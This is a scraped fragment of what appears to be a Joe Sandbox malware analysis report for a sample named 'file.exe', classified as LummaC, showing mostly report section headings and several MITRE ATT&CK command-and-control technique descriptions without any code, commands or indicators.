Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre